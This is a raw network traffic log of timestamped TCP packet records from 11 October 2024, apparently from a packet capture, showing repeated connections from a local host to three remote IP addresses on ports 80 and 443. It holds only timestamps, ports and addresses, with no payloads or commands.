Oct 11, 2024 09:35:20.420701027 CEST	49738	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:20.424331903 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:20.425323009 CEST	49739	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:20.430015087 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:20.430200100 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:20.430216074 CEST	80	49739	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:20.430288076 CEST	49739	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:20.430373907 CEST	49739	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:20.435199976 CEST	80	49739	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:20.562414885 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:20.598314047 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:20.598356962 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:20.598443985 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:20.602744102 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:20.602766991 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:20.642776966 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:21.086656094 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.086716890 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.088272095 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.088282108 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.088551998 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.096147060 CEST	80	49739	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:21.097199917 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.097259045 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.097357035 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.097558022 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.097596884 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.142777920 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.144834042 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.191411972 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.254946947 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.255044937 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.255101919 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.257671118 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.261548042 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:21.266416073 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:21.299031019 CEST	49739	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:21.471304893 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:21.473758936 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.473856926 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.473941088 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.474283934 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.474317074 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.549599886 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:21.552305937 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.554565907 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.554651022 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.683902025 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.683998108 CEST	443	49741	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.684124947 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.684804916 CEST	49741	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.689568996 CEST	49743	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:21.694381952 CEST	80	49743	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:21.694444895 CEST	49743	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:21.694551945 CEST	49743	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:21.702270985 CEST	80	49743	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:21.927648067 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:21.933703899 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:21.933752060 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:22.078078032 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:22.078171015 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:22.078355074 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:22.078850031 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:22.082319021 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:22.083761930 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:22.087469101 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:22.087599039 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:22.088704109 CEST	80	49744	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:22.088927031 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:22.090209007 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:22.095082998 CEST	80	49744	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:22.381772041 CEST	80	49743	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:22.412050962 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:22.412098885 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:22.412822962 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:22.412822962 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:22.412862062 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:22.426321983 CEST	49743	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:22.754828930 CEST	80	49744	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:22.756162882 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:22.756198883 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:22.756521940 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:22.756673098 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:22.756697893 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:22.814728975 CEST	49744	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:22.884521961 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:22.886239052 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:22.886270046 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:23.033047915 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:23.033140898 CEST	443	49745	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:23.033265114 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:23.036853075 CEST	49745	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:23.037174940 CEST	49743	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:23.040824890 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:23.043071985 CEST	80	49743	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:23.043292999 CEST	49743	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:23.046289921 CEST	80	49747	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:23.046443939 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:23.046443939 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:23.052510977 CEST	80	49747	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:23.212853909 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:23.214675903 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:23.214705944 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:23.360141039 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:23.360249043 CEST	443	49746	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:23.360296011 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:23.360953093 CEST	49746	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:23.381462097 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:23.386415958 CEST	80	49748	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:23.386514902 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:23.389908075 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:23.394752979 CEST	80	49748	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:23.718689919 CEST	80	49747	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:23.720504999 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:23.720558882 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:23.720608950 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:23.721210957 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:23.721225023 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:23.767772913 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.079411983 CEST	80	49748	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:24.080746889 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:24.080794096 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:24.080869913 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:24.081106901 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:24.081119061 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:24.127260923 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.203327894 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:24.204787016 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:24.204811096 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:24.346709967 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:24.346870899 CEST	443	49749	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:24.347340107 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:24.348397017 CEST	49749	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:24.350747108 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.351790905 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.356614113 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:24.356749058 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.356801033 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.357091904 CEST	80	49747	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:24.359410048 CEST	49747	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.361629963 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:24.535005093 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:24.537098885 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:24.537120104 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:24.687891960 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:24.687990904 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:24.688311100 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:24.688448906 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:24.693164110 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.693167925 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.698245049 CEST	80	49752	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:24.698442936 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.698442936 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.698586941 CEST	80	49748	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:24.698637962 CEST	49748	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:24.703299046 CEST	80	49752	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:25.028584957 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:25.033411026 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.033452988 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.037139893 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.037281036 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.037307978 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.080298901 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.362610102 CEST	80	49752	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:25.364289045 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.364320993 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.364399910 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.364789009 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.364804983 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.408418894 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.489101887 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.491251945 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.491282940 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.633766890 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.633858919 CEST	443	49753	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.633904934 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.634346008 CEST	49753	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.638405085 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.639496088 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.643615007 CEST	80	49751	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:25.643681049 CEST	49751	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.644361019 CEST	80	49755	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:25.644542933 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.644639969 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.649616957 CEST	80	49755	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:25.816226006 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.818516016 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.818543911 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.972676039 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.972769976 CEST	443	49754	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:25.972816944 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.973191977 CEST	49754	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:25.976953030 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.978111982 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.982265949 CEST	80	49752	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:25.982342005 CEST	49752	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.982955933 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:25.983041048 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.983186007 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:25.987936020 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:26.318897963 CEST	80	49755	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:26.320190907 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:26.320231915 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:26.320909977 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:26.321253061 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:26.321271896 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:26.361536980 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:26.655930996 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:26.657229900 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:26.657279015 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:26.657625914 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:26.657860041 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:26.657867908 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:26.705290079 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:26.789305925 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:26.791992903 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:26.792025089 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:26.934521914 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:26.934629917 CEST	443	49757	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:26.938364029 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:26.961669922 CEST	49757	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:26.974071980 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:26.975222111 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:26.979430914 CEST	80	49755	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:26.980226994 CEST	80	49759	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:26.982361078 CEST	49755	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:26.982400894 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:26.983357906 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:26.988234997 CEST	80	49759	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:27.112709999 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:27.158407927 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:27.249295950 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:27.249306917 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:27.360826969 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:27.360909939 CEST	443	49758	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:27.361068964 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:27.384385109 CEST	49758	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:27.400655031 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:27.400836945 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:27.405425072 CEST	80	49760	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:27.405509949 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:27.405859947 CEST	80	49756	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:27.405917883 CEST	49756	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:27.408684969 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:27.413464069 CEST	80	49760	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:27.674367905 CEST	80	49759	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:27.675632000 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:27.675678968 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:27.675847054 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:27.675996065 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:27.676014900 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:27.721035004 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.071233988 CEST	80	49760	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:28.073016882 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.073061943 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.073185921 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.073453903 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.073472977 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.111649990 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.133369923 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.135478020 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.135500908 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.278449059 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.278543949 CEST	443	49761	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.278601885 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.279347897 CEST	49761	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.283052921 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.284153938 CEST	49763	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.288693905 CEST	80	49759	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:28.288758039 CEST	49759	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.289472103 CEST	80	49763	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:28.289540052 CEST	49763	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.289654970 CEST	49763	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.295228958 CEST	80	49763	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:28.536572933 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.537975073 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.538007021 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.684468031 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.684572935 CEST	443	49762	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.684621096 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.685015917 CEST	49762	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.688519001 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.689522028 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.693902969 CEST	80	49760	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:28.693969011 CEST	49760	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.694433928 CEST	80	49764	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:28.694508076 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.694603920 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:28.699481010 CEST	80	49764	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:28.953393936 CEST	80	49763	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:28.954476118 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.954511881 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:28.954582930 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.954791069 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:28.954807997 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:29.002127886 CEST	49763	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:29.394510031 CEST	80	49764	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:29.395595074 CEST	49766	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:29.395633936 CEST	443	49766	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:29.395787954 CEST	49766	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:29.396030903 CEST	49766	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:29.396049976 CEST	443	49766	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:29.418128014 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:29.419537067 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:29.419564962 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:29.439764977 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:29.560801029 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:29.560872078 CEST	443	49765	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:29.561121941 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:29.561700106 CEST	49765	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:29.577332020 CEST	49763	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:29.582446098 CEST	80	49763	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:29.582602024 CEST	49763	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:29.585438013 CEST	49767	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:29.585545063 CEST	443	49767	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:29.586013079 CEST	49767	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:29.586555004 CEST	49767	443	192.168.2.4	149.154.167.220
Oct 11, 2024 09:35:29.586594105 CEST	443	49767	149.154.167.220	192.168.2.4
Oct 11, 2024 09:35:29.852252007 CEST	443	49766	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:29.892411947 CEST	49766	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:29.892436028 CEST	443	49766	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:30.000144005 CEST	443	49766	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:30.000262976 CEST	443	49766	188.114.96.3	192.168.2.4
Oct 11, 2024 09:35:30.001717091 CEST	49766	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:30.012231112 CEST	49766	443	192.168.2.4	188.114.96.3
Oct 11, 2024 09:35:30.016028881 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:30.017163992 CEST	49768	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:30.021065950 CEST	80	49764	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:30.021215916 CEST	49764	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:30.023622990 CEST	80	49768	132.226.247.73	192.168.2.4
Oct 11, 2024 09:35:30.023682117 CEST	49768	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:30.023770094 CEST	49768	80	192.168.2.4	132.226.247.73
Oct 11, 2024 09:35:30.028537035 CEST	80	49768	132.226.247.73	192.168.2.4
